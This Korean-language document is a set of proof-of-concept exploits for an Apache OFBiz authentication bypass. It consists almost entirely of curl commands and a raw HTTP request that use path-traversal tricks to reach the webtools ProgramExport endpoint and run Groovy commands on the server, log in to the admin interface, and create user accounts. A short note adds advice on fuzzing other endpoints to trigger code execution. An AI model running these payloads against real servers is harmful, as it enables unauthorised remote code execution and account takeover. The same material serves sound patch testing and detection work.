
Apache OfBiz 취약점
USERNAME 및 PASSWORD 매개변수는 누구나 접근 가능한 /ecomseo/AnonContactus 인터페이스에서 제공할 수 있습니다.
POC1: RCE
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
POC2: 로그인을 우회하여 제한된 webtools 관리 인터페이스에 접근할 수 있습니다.
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/login/' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'JavaScriptEnabled=Y'
POC3: userLoginId를 사용자 이름으로 하여 일반 사용자 계정을 등록할 수 있습니다.
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/createUserLogin' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'enabled=Y' \
--data-urlencode 'partyId=' \
--data-urlencode 'userLoginId=30000' \
--data-urlencode 'currentPassword=12345' \
--data-urlencode 'currentPasswordVerify=12345' \
--data-urlencode 'passwordHint=' \
--data-urlencode 'requirePasswordChange=N' \
--data-urlencode 'securityQuestion=' \
--data-urlencode 'SecurityAnswer=' \
--data-urlencode 'externalAuthId='
RCE1
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/.%2e/.%2e/.%2e/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
RCE2
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/..;/..;/..;/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
참고: ;는 쿠키 설정에서 예외를 발생시키므로, 쿠키를 수동으로 가져와야 합니다.


RCE
POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=throw+new+Exception('id'.execute().text);
참고: forgotPassword는 다른 요청으로 대체할 수 있습니다. webapp/webtools/WEB-INF/controller.xml에서 검색(그림 참조)하여 퍼징을 수행할 수 있습니다. 요청이 성공적으로 success를 반환하기만 하면 ProgramExport 모듈에서 RCE를 트리거할 수 있습니다.
